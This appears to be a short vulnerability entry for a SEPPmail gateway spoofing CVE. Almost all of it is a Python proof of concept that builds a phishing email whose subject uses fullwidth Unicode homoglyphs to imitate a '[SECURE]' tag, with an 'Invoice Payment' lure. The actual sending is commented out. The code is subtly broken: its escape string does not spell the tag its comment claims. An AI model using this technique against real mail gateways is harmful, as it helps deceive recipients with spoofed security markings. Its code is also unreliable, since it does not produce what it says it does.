CVE-2026-29144 SEPPmail邮件网关欺骗漏洞

# Proof of Concept: Unicode Homoglyph Attack # This script demonstrates how to craft a subject line that bypasses basic filtering. import smtplib from email.mime.text import MIMEText # Normal subject might be: [SECURE] Confidential Data # Attacker uses lookalike characters (e.g., Cyrillic 'а' instead of Latin 'a') # or Full-width characters. # Example using Fullwidth Latin characters for visual spoofing # [ＳＥＣＵＲＥ] -> \uFF33\uFF25\uFF23\uFF35\uFF32\uFF25 spoofed_subject = "\uFF33\uFF25\uFF23\uFF35\uFF32\uFF25\uFF29\uFF34\uFF29\uFF3C\uFF20\uFF20\uFF20] Invoice Payment" def send_spoofed_email(): msg = MIMEText("This is a test email attempting to spoof the security tag.") msg['Subject'] = spoofed_subject msg['From'] = '[email protected]' msg['To'] = '[email protected]' # Note: This is a conceptual PoC. Replace with actual SMTP server details if testing in a lab. print(f"Sending email with subject: {msg['Subject']}") # with smtplib.SMTP('smtp.example.com', 587) as server: # server.login('user', 'password') # server.send_message(msg) if __name__ == "__main__": send_spoofed_email()